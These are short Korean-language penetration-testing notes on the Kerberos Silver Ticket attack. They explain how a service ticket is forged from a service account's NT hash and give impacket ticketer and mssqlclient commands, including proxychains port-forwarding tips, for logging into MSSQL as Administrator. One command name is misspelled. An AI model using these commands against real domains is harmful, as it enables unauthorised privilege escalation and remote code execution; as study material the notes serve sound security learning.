Silver Ticket
개념
- SPN 계정의 크리덴셜 (NT 해시) 를 알고 있을 때, 해당 서비스티켓, TGS를 위조하는 공격 기법 (ex, Administrator로 위조)
- 공격자가 위조한 TGS가 SPN 본인의 NT해시로 암호화되었으므로, SPN은 AP-REQ에 대해 해당 티켓을 KDC가 발급해 준 것이라고 신뢰한다.
- 예시 시나리오로,
mssql의 silver ticket -> xp_cmdshell -> mssql서비스계정 권한으로 RCE가 가능할 수 있다.
Commnad
impacket-ticketer
ticketer.py -nthash '$SPN_NTHash' -domain-sid '$domain_sid' -domain '$domain' -spn '$SPN' -user-id '500' administrator- SPN, domain-sid의 값은 bloodhound에서도 확인 가능하다.
administrator.ccache티켓이 생성된다.
주의 사항
내부 1433 mssql 포트에 접근하는 시나리오
- 포트포워딩을 통해 내부포트에 접근할 때 동적 포트포워딩 (e.g. socks) 를 활용해서 접근해야 한다.
- 정적 포트포워딩을 통해 1:1 매핑으로 환경을 구성한 경우 mssqlclient 및 silver ticket을 사용하는 커맨드는 다음과 같다
KRB5CCNAME=administrator.ccache impacket-mssqlclinet -k localhost- 이 때,
localhost != .ccache 내 SPN의 도메인이므로, kerberos 인증에 실패하게 된다.
socks + proxychains를 활용한 포트포워딩
KRB5CCNAME=administrator.ccache proxychains4 impacket-mssqlclient -k '$Target_FQDN'$Target_domain == .ccache 내 SPN의 도메인이므로 Kerberos 인증에 성공하고, Administrator 권한으로 mssql에 접속할 수 있게 된다.